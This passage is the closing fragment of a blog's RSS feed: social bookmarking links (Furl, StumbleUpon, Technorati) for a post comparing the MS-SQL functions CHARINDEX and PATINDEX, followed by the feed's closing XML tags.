src='http://www.arejae.com/blog/wp-content/plugins/bookmarkify/furl.png' style='width:16px; height:16px;' alt='[Furl] ' /></a> <a href='http://www.stumbleupon.com/submit?url=http://www.arejae.com/blog/ms-sql-charindex-vs-patindex.html&amp;title=MS-SQL : CHARINDEX Vs PATINDEX' title='Stumble It!' onclick='target="_blank";' rel='nofollow'><img src='http://www.arejae.com/blog/wp-content/plugins/bookmarkify/stumbleupon.png' style='width:16px; height:16px;' alt='[StumbleUpon] ' /></a> <a href='http://technorati.com/faves?add=http://www.arejae.com/blog/ms-sql-charindex-vs-patindex.html' title='Add to my Technorati Favorites' onclick='target="_blank";' rel='nofollow'><img src='http://www.arejae.com/blog/wp-content/plugins/bookmarkify/technorati.png' style='width:16px; height:16px;' alt='[Technorati] ' /></a>  <a title='See more bookmark and sharing options...' href='http://www.arejae.com/blog/ms-sql-charindex-vs-patindex.html#bookmarkify' rel='nofollow'><small>More&nbsp;&raquo;</small></a></div></div>]]></content:encoded>
			<wfw:commentRss>http://www.arejae.com/blog/ms-sql-charindex-vs-patindex.html/feed</wfw:commentRss>
		</item>
	</channel>
</rss>
